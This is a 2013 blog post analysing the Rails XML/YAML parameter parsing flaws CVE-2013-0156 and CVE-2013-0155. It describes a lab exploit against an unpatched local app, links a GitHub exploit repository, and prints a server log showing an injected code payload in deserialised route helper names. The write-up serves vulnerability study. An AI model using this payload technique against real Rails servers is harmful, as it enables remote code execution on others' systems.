< Return to Blog

Diving into Serialization Mischief in Ruby Land (CVE-2013-0156)

A couple days ago, the Rails community was alerted about a serious security concern dubbed CVE-2013-0156 plus CVE-2013-0155. We are focussed on the former, and the impact of the XML parameter parsing vulnerability — both of which have now been patched as long as production applications have been upgraded or workarounds have been added as per the security advisories.

Much of these have already been discussed and dissected ad nausea — see the external links at the end of this post.

CVE-2013-0155 is responsible for patching unsafe query generation via JSON, to prevent bypassing of authentication systems. ActionDispatch::Middleware::ParamsParser supports parsing JSON params from requests, however, it does not normalize parsed params. Therefore, Values such as [nil] or [""] are not normalized to nil and "". This allows us to bypass #nil? or #empty? predicate methods.

CVE-2013-0156 in particular offers two attack vectors, one being an SQL injection exploit that depends on find_by_* methods based on Arel objects.

I was particularly interested in its most severe form — remotely executing code within the app environment. I based this on rails_rce.rb written by postmodern and featured on the Ronin blog.

The result of my investigation lead me to bootstrap a fresh Rails 3.2.10 (unpatched) app, configuring simple resources, and letting it rip. This is now available on Github for you to download and take for a spin. Instructions have been pre-baked into the app!

Running the exploit allowed me to execute puts 'lol' in the app environment with a simple external POST request. The only interesting detail is the use of the X-Http-Method-Override header which instructs Rails to interpret the POST request as a GET.

lol

Started GET "/posts/search" for 127.0.0.1 at 2013-01-12 18:25:19 +0530
Processing by PostsController#show as */*
  Parameters: {"exploit"=>#<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x007fa9cb2a3650 @routes={:"foo\n(puts 'lol'; @executed = true) unless @executed\n__END__\n"=>#<struct defaults={:action=>"create", :controller=>"foos"}, required_parts=[], requirements={:action=>"create", :controller=>"foos"}, segment_keys=[:format]>}, @helpers=[:"hash_for_foo\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_url", :"foo\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_url", :"hash_for_foo\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_path", :"foo\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_path"], @module=#<Module:0x007fa9cb2aa888>>, "id"=>"search"}
  Rendered posts/show.html.erb within layouts/application (0.4ms)
  Rendered shared/_header.html.erb (0.0ms)
Completed 200 OK in 20ms (Views: 19.6ms | ActiveRecord: 0.0ms)

Download from Github: rails-exploit-cve-2013-0156

External Links